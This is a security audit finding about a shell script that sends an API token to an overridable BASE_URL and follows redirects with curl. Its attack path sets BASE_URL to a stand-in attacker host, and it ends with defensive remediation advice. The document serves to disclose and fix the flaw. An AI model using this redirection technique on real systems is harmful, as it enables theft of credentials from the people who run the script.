T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/query_enterprises.sh:4
- Finding
- API Token Disclosure Through an Unrestricted Base URL and Cross-Origin Redirects## Vulnerability Details **File Location**: `scripts/query_enterprises.sh`, lines 4 and 157-161 **Vulnerability Type**: Credential exfiltration through an attacker-controlled destination or HTTP redirect **Risk Level**: Medium ### Vulnerable Code ```bash BASE_URL="${BASE_URL:-https://mcp.applications.jiqizhixin.com}" ``` ```bash curl -sS --location --request POST "${BASE_URL%/}/api/v1/enterprises" \ --header "X-MCP-TOKEN: ${API_TOKEN_FROM_ENV}" \ --header "Content-Type: application/json" \ --data "${BODY}" ``` ### Technical Analysis The script permits `BASE_URL` to be overridden by an environment variable and then sends the secret `JQZX_API_TOKEN` to that destination in the custom `X-MCP-TOKEN` header. It performs no scheme or hostname validation before transmitting the credential. An attacker who can influence the execution environment can set `BASE_URL` to an attacker-operated HTTPS endpoint. Invoking the otherwise legitimate script then directly discloses the API token to that endpoint. In addition, `curl --location` automatically follows HTTP redirects. A custom authentication header such as `X-MCP-TOKEN` may be retained across redirect requests, including redirects to another origin, depending on curl behavior and version. Consequently, a compromised, misconfigured, or malicious API endpoint could redirect the request to an attacker-controlled host and cause the token to be disclosed there. JSON body construction uses `jq`, so the query arguments do not create shell-command injection in the reviewed implementation. The security issue is specifically the unrestricted credential destination and redirect behavior. ### Attack Path **Environment-variable attack path:** 1. The victim configures a valid `JQZX_API_TOKEN`. 2. An attacker influences the shell, wrapper, CI job, agent environment, or invocation configuration and defines: ```bash export BASE_URL="https://attacker.example" ``` ...[truncated 1549 chars]
- Remediation
- ## Remediation Suggestions 1. Remove the production `BASE_URL` override unless it is operationally necessary: ```bash readonly BASE_URL="https://mcp.applications.jiqizhixin.com" ``` 2. If endpoint overrides are required for testing, validate the parsed URL before sending credentials. Require HTTPS and an explicit hostname allowlist: ```bash case "$BASE_URL" in "https://mcp.applications.jiqizhixin.com") ;; *) echo "Refusing to send credentials to an untrusted API endpoint" >&2 exit 1 ;; esac ``` 3. Disable redirects for authenticated API requests by removing `--location`. If redirects are operationally required, handle them explicitly and only follow redirects whose scheme and hostname match the approved origin. 4. Do not rely solely on curl's version-dependent treatment of sensitive headers. Ensure the token header is attached only after destination validation and never reused for a cross-origin request. 5. In CI and agent environments, prevent untrusted jobs, skill inputs, or wrapper scripts from modifying endpoint-related environment variables. 6. Rotate any token that may have been used while `BASE_URL` was controlled by an untrusted party or while the endpoint returned unverified redirects. Review API logs for anomalous token use.